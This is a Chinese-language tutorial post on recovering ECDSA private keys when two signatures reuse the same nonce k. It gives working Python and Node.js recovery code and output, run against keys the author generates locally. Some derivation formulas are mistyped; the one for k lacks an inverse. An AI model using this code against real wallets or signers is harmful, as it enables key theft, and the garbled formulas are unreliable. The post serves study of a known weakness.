一、背景

前段时间某项目遭遇黑客攻击，官方公布是因为重复使用相同k值的ECDSA签名导致私钥被反推泄漏（这里k值相同就是签名结果的r值相同）。私钥能被反推？笔者赶快看了一下相关文章，在特定条件下的确可以反推，并且六年前就有人提出这个问题了，看来笔者是孤陋寡闻了。为了弄清楚这个流程，必须亲自验证一下，因此笔者先整理了一下网上的资料，然后就和其它人一起研究，在本地环境模拟了这个反推过程。

注：这里反推私钥的条件还是很苛刻的，平常我们使用时大可不必担心这个问题。

索尼 PS3 被破解

k值重复漏洞最早是发生在索尼的 PS3主机被破解事件。索尼 PS3最初的安全目标是使用椭圆曲线数字签名算法（ECDSA）来保护系统的安全，然而索尼在使用椭圆曲线数字签名算法（ECDSA）进行签名处理时，使用了固定的k值。2010年的在fail0overflow大会上，黑客组织fail0overflow展示了索尼ECDSA的部分代码，发现他们让种子的值保持4，随后利用这个漏洞来反向推导获得了私钥从而实现了完全破解。

ECDSA 在区块链的广泛应用

因为比特币使用 ECDSA 签名算法，ECDSA加密区块链中被广泛使用，包括以太坊。其中大多数区块链交易的签名算法就是使用ecdsa签名算法，因此了解一下这个K值重复漏洞还是有必要的。

二、漏洞分析

ECDSA签名具体怎么生成我们不必弄清楚，有兴趣的读者可以自行百度一下相关文章，我们会用就行了。

当生成ECDSA签名时，需要保证k值是保密且唯一， k值重复可能会导致私钥泄露。

使用重复的k时（消息需要不同），可以反推出签名的私钥。假定当前有两个不同消息的哈希散列值(z1, z2)和它们的签名(r1, s1) 和 (r2, s2)以及椭圆区的领域参数。

首先注意到 r1 = r2，因为 r 由 k 值唯一确定的，而k是相同的。
然后计算
$s_1 - s_2) \mod n = k^{-1}(z_1 - z_2) \mod n$
等式两边乘以k，得到
$k(s_1 - s_2) \mod = (z_1 - z2) \mod n$
两边乘以 $s_1 - s_2)^{-1}$ ,
$k = (z_1 - z_2)(s_1 - s_2) \mod n$

利用上面的等式之用两个哈希值和对应的签名就可以计算k值。现在用 s 的公式来提取私钥
$s = k^{-1} (z + rd_S) \mod n \\ d_S = r^{-1}(sk - z) \mod n$

公式我也看得不是很明白，先不管它了。

三、使用Python进行反推验证

GitHub 已经有人开放了使用Python进行反推私钥的工具（4年前就放上去了），可以利用这个工具来验证重复的k值是否可以反推账户私钥。不过该反推工具是针对的比特币账户，如果用到以太坊需要修改或者重新编写。

https://github.com/tintinweb/DSAregenK

DSAregenK 类的可用于反推，将公钥在init时传入，并将两个相同k值的签名相关的消息的哈希值，签名的r和s值通过add函数添加进去，然后后运行 run方法就可以得到私钥的值。

反推代码实现，需要在python2的环境下安装相应的库：pip install pycrypto

先创建一个 DSAregenK.py，内容如下：

'''
Created on 15.01.2013
@author: martin
'''
from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.PublicKey.pubkey import *
from Crypto.Hash import SHA
from Crypto.Util.number import bytes_to_long

import logging
LOG = logging.getLogger('DSAregenK')


class DSAregenK(object):
    def __init__(self,pubkey):
        self.samples = {}
        self.pubkey = pubkey
        LOG.debug("+ set: pubkey = %s"%pubkey)
    
    def add(self,signature,hash):
        '''
            sample is of format ( (r,s),hash(data), pubkey)
                       signature params,hashed_data
                       individual pubkey
        '''
        (r,s) = signature
        if not isinstance(hash,long):
            hash = bytes_to_long(hash)
        sample = bignum(r),bignum(s),bignum(hash)          #convert .digest()
        
        if not self.samples.has_key(r):
            self.samples[r]=[]
        
        
        self.samples[r].append(sample)
        #LOG.debug("+ added: sample = %s"%repr(sample))
    
    
    def run(self,asDSAobj=False):
        # find samples with equal r in signature
        for c in self._find_candidates():
            LOG.debug("[*] reconstructing PrivKey for Candidate r=%s"%c)
            (k,x) = self._attack(self.samples[c])
            if asDSAobj:
                yield self._construct_DSA((k,x))
            else:
                yield (k,x)
                
    def runBrute(self,asDSAobj=False,maxTries=None):
        for r,samples in self.samples.iteritems():
            LOG.debug("[*] bruteforcing PrivKey for r=%s"%r)
            for sample in samples:
                LOG.debug("[** - sample for r=%s]"%r)
                try:
                    (k,x) = self._brute_k(sample,maxTries=maxTries)
                    if asDSAobj:
                        yield self._construct_DSA((k,x))
                    else:
                        yield (k,x)
                except Exception, e:
                    logging.error(e.message)
                
    def _find_candidates(self):
        '''
            candidates have same r
        '''
        candidates = []
        for r, vals in self.samples.iteritems():
            if len(vals)>1: 
                candidates.append(r)
        return candidates
    
    
    def _attack(self,samples,q=None):
        '''
            samples = r,s,long(hash)
        '''
        q = q or self.pubkey.q
        
        rA,sA,hA = samples[0]
        
        k_h_diff = hA
        k_s_diff = sA
        
        first = True
        for r,s,hash in samples:
            if first:   
                first=False
                continue            #skip first one due to autofill
            k_h_diff -=hash
            k_s_diff -=s
        
        k = (k_h_diff)* inverse(k_s_diff,q) %q
        x = ((k*sA-hA)* inverse( rA,q) )% q

        LOG.debug("privkey reconstructed: k=%s; x=%s;"%(k,x))
        return k,x
    
    def _construct_DSA(self,privkey):
        k,x = privkey
        return DSA.construct([self.pubkey.y,
                              self.pubkey.g,
                              self.pubkey.p,
                              self.pubkey.q,
                              x])
        
    
    def _attack_single(self,hA,sigA,hB,sigB,q=None):
        q = q or self.pubkey.q
        rA,sA=sigA
        rB,sB=sigB
        k = (hA - hB)* inverse(sA -sB,q) %q
        x = ((k*sA-hA)* inverse( rA,q) )% q
        return k,x
    
    
    def _brute_k(self,sample,p=None,q=None,g=None,maxTries=None):
        '''
            sample = (r,s,h(m))
        '''
        # 1 < k < q
        p = p or self.pubkey.p
        q = q or self.pubkey.q
        g = g or self.pubkey.g
        
        r,s,h = sample
        
        k= 2
        while k< q-1:
            if maxTries and k >= maxTries+2:
                break
            # calc r = g^k mod p mod q
            if r == pow(g,k,p)%q: 
                x = ((k*s-h)* inverse( r,q) )% q
                return k,x
            k+=1        #next k
        raise Exception("Max tries reached! - %d/%d"%(k-2,maxTries))

            
if __name__=="__main__":
    import timeit
    code = '''
    q=1265463802023530275326394511026959111076549652869
    g=84281203019815261389723351787997895766686782784042902057749572710486802455287943930039236293081120645856643138985466753439864717645302485601757623822904847629009405411053311508933914054126213326746234712047394770958935994092610093437274339721778386724204641098513873421986583220412010274767817275626531483349
    k =155862235091383259018358242245666680486589863514
    p = 89884656743115801565356913078863255627534578994836271275156367742905551420240587387886756001391175742871349954773362607747817656666949585098232008455275447903314834915566557308039663748037501217455176261144977713143895613500344330528376806523498586766563054718557062834734452717511314328898484995977406013223
    
    r,s =  (808569543022789887955253071826070582321521360626L, 144740468085989213718785495673981993705197878815L)
    pow(g,k,p)%q
    '''
    trials = 2**15
    print trials," trials =>", timeit.timeit(code,number=trials),"s "

然后再创建一个Sample.py，内容如下：

from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.Hash import SHA256

from DSAregenK import DSAregenK

def signMessage(private_key, msg, k=None):
    k = k or random.StrongRandom().randint(1, private_key.q-1)
    h = SHA256.new(msg).digest()
    r, s = private_key.sign(h, k)
    return msg, h, (r,s)


if __name__ == "__main__":
    secrect_key = DSA.generate(1024)
    print("generate private_key = ", hex(secrect_key.x))
    k = random.StrongRandom().randint(1, secrect_key.q - 1)
    mA = signMessage(secrect_key, "message 1", k)
    # same k value
    mB = signMessage(secrect_key, "message 2", k)

    # use different k value
    k = random.StrongRandom().randint(1, secrect_key.q - 1)
    mC = signMessage(secrect_key, "message 2", k)

    pub_key = secrect_key.publickey()

    print("=========================")
    print("start recoved same k value")

    # recover private key with the two digests that use same k value
    a = DSAregenK(pubkey=pub_key)
    for m, h, (r,s) in (mA, mB):
        a.add((r, s), h)
    rets = a.run(asDSAobj=True)
    print("##:  DSAregenK run get private key num: ", len(list(rets)))
    successed = False
    for re_privkey in a.run(asDSAobj=True):
        print("try recoveing:", hex(re_privkey.x))
        if re_privkey.x == secrect_key.x:
            successed = True
            print("recoved private_key = ", hex(re_privkey.x))
            break
        
    print("Is recovign private key correct with same k value: ", successed)


    print("=========================")
    print("start recoved different k value")
    # try recover private key with the two digests that use different k value
    a = DSAregenK(pubkey=pub_key)
    successed = False
    for m, h, (r,s) in (mA, mC):
        a.add((r, s), h)
    rets = a.run(asDSAobj=True)
    print("##:  DSAregenK run get private key num: ", len(list(rets)))
    for re_privkey1 in a.run(asDSAobj=True):
        print("ry recoveing: ", hex(re_privkey1.x))
        if re_privkey1.x == secrect_key.x:
            successed = True
            print("recoved private_key = ",  hex(re_privkey1.x))
            break

    print("Is recovign private key correct with different k value: ", successed)

执行输出，运行python Sample.py：

('generate private_key = ', '0x7b57770a1246c325da62c341ee07b802f52ca5d2L')
=========================
start recoved same k value
('##:  DSAregenK run get private key num: ', 1)
('try recoveing:', '0x7b57770a1246c325da62c341ee07b802f52ca5d2L')
('recoved private_key = ', '0x7b57770a1246c325da62c341ee07b802f52ca5d2L')
('Is recovign private key correct with same k value: ', True)
=========================
start recoved different k value
('##:  DSAregenK run get private key num: ', 0)
('Is recovign private key correct with different k value: ', False)

注意：这里是使用Python2来运行的，当前绝大多数电脑使用的是python3，因此笔者尝试使用python3来重写相关源码以适用以太坊，但是最终放弃了。

使用python和以太坊交互还是挺麻烦的，并且这些库也太古老了，用起来很不方便。

四、使用Node.js进行反推验证

既然python不方便，我们就用最方便的语言Javascript好了。

由于笔者平常使用的最多的Node.js中的ethers框架，因此参考了上面python的算法及网上相关资料，写了一个Node.js版本的验证代码。

注意：本脚本是验证的是反推以太坊账号私钥。

新建一个recover_test.js，内容如下：

const BN = require('bn.js');
const {utils} = require("ethers")
const p  = new BN("fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141", 16)
const negativeOne = new BN(-1);
const zero = new BN(0);

//验证私钥和公钥是否一致
function validate_private(privkey, pubkey) {
    try {
        let signingKey = new utils.SigningKey(privkey);
        let publickKey = signingKey.publicKey;
        return publickKey == pubkey
    } catch(e) {
        console.log(e)
    }
    return false;
}

function recove(h1, s1, h2, s2, r, p, validate, pubkey) {
    let s_array = [
        s1.sub(s2),
        s1.add(s2),
        s1.mul(negativeOne).sub(s2),
        s1.mul(negativeOne).add(s2),
    ]
    let privatekey = new BN("0")
    let count = 1
    for (let s of s_array) {
        console.log(">>>>> try recover: ", count)
        count++
        let r_inv = r.invm(p)
        let z = h1.sub(h2)
        let s_inv = s.invm(p)
        let k = (z.mul(s_inv)).mod(p)
        let d = s1.mul(k).sub(h1).mod(p).mul(r_inv).mod(p)
        if (k.lt(zero) || d.lt(zero)) {
            continue
        }
        let pk = d.toString('hex')
        if (pk.length <64) {
            pk = "0x0" + pk
        } else {
            pk = "0x" + pk
        }
        if (validate(pk, pubkey)) {
            console.log("\n\x1b[36m>>>>>>\x1b[32m Congratulations !!! \x1b[36m<<<<<<\x1b[0m\n")
            privatekey = pk
            break
        }
    }
    return privatekey
}

function recove_eth(h1, s1, h2, s2, r, pubkey) {
    let result =  recove(h1, s1, h2, s2, r, p, validate_private, pubkey)
    if (result == 0) {
        result =  recove(h2, s2, h1, s1, r, p, validate_private, pubkey)
    }
    return result
}

function eth_recove() {
    console.log("\n======================= eth_recover ====================")
    // 设置一个私钥
    let privateKey = '0x0123456789012345678901234567890123456789012345678901234567890123';
    let signingKey = new utils.SigningKey(privateKey);
    console.log('Private key: ' + privateKey)

    // 获取公钥和地址
    let publickKey = signingKey.publicKey;
    console.log('Public key: ' + publickKey)
    //0x046655feed4d214c261e0a6b554395596f1f1476a77d999560e5a8df9b8a1a3515217e88dd05e938efdd71b2cce322bf01da96cd42087b236e8f5043157a9c068e
    console.log('Address: ' + utils.computeAddress(publickKey));
    // "Address: 0x14791697260E4c9A71f18484C9f997B308e59325"
    console.log()
    // 构造消息1签名,r,s,v格式
    let message1 = "Hello World1";
    let messageDigest1 = utils.hashMessage(message1)
    console.log("Digest 1 : " + messageDigest1);
    // "Digest: 0x0196b4de3c0a506ffae5c69e14a8dd9d327b4a315f3a3621e1561d63fa3fee9a"
    let signature1 = signingKey.signDigest(messageDigest1); 
    console.log("signature 1:", signature1);
    // {
    //     r: '0xcd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb',
    //     s: '0x65ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
    //     _vs: '0xe5ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
    //     recoveryParam: 1,
    //     v: 28
    // }
    // 从签名中恢复公钥并验证
    let public_key1 = utils.recoverPublicKey(messageDigest1,signature1)
    console.log("public_key1 === publickKey :",publickKey === public_key1)
    console.log()

    // 构造消息2签名
    let message2 = "Hello World2";
    let messageDigest2 = utils.hashMessage(message2)
    console.log("Digest 2: " + messageDigest2);
    let signature2 = signingKey.signDigest(messageDigest2);
    console.log("signature 2: ", signature2);
    console.log()
    // 恢复密钥所需的参数 r, s1, s2, z1, z2.
    // r 为签名的r值， 相同k的签名的r是相同
    // s1, s2 为签名1和签名2的 s 值
    // z1, z2 为消息1和消息2的哈希值
    // BN 类型需要去掉十六进制的0x
    let r = new BN(signature1.r.substring(2), 16)
    let s1 = new BN(signature1.s.substring(2), 16)
    let s2 = new BN(signature2.s.substring(2), 16)
    let z1 = new BN(utils.arrayify(messageDigest1))
    let z2 = new BN(utils.arrayify(messageDigest2))

    console.log('r = ', r.toString('hex'))
    console.log('s1 = ', s1.toString('hex'))
    console.log('s2 = ', s2.toString('hex'))
    console.log()
    // 恢复密钥
    let getPrivkey = recove_eth(z2,  s2, z1, s1, r, publickKey)
    console.log("\x1b[36m>>>>>> get recover key:\x1b[32m", getPrivkey,"\x1b[0m")
    console.log("\x1b[36m>>>>>> recover_key === privateKey:\x1b[32m",getPrivkey === privateKey,"\x1b[0m")
}

eth_recove()

注意：因为ethers并不是使用固定的k值签名，所以我们需要在本地修改它的库代码来实现这个场景。
在这里插入图片描述
当然，我们只修改本项目的本地库就行了，记得测试完成后再改回去。

运行node recover_test.js，结果为：

======================= eth_recover ====================
Private key: 0x0123456789012345678901234567890123456789012345678901234567890123
Public key: 0x046655feed4d214c261e0a6b554395596f1f1476a77d999560e5a8df9b8a1a3515217e88dd05e938efdd71b2cce322bf01da96cd42087b236e8f5043157a9c068e
Address: 0x14791697260E4c9A71f18484C9f997B308e59325

Digest 1 : 0x0196b4de3c0a506ffae5c69e14a8dd9d327b4a315f3a3621e1561d63fa3fee9a
>>>>>>注意:修改为使用固定K值签名, k = new BN(200)<<<<<<
signature 1: {
  r: '0xcd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb',
  s: '0x65ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
  _vs: '0xe5ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
  recoveryParam: 1,
  v: 28
}
public_key1 === publickKey : true

Digest 2: 0xe3406111280a8c6b8ecbab94fa079d8b1870de949a3f4d45a2cf2489078db147
>>>>>>注意:修改为使用固定K值签名, k = new BN(200)<<<<<<
signature 2:  {
  r: '0xcd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb',
  s: '0x23367bd6011468f70f2ee29d4c3a7925e77f7488a87e941c608905cd6888b2cc',
  _vs: '0xa3367bd6011468f70f2ee29d4c3a7925e77f7488a87e941c608905cd6888b2cc',
  recoveryParam: 1,
  v: 28
}

r =  cd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb
s1 =  65ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad
s2 =  23367bd6011468f70f2ee29d4c3a7925e77f7488a87e941c608905cd6888b2cc

>>>>> try recover:  1

>>>>>> Congratulations !!! <<<<<<

>>>>>> get recover key: 0x0123456789012345678901234567890123456789012345678901234567890123 
>>>>>> recover_key === privateKey: true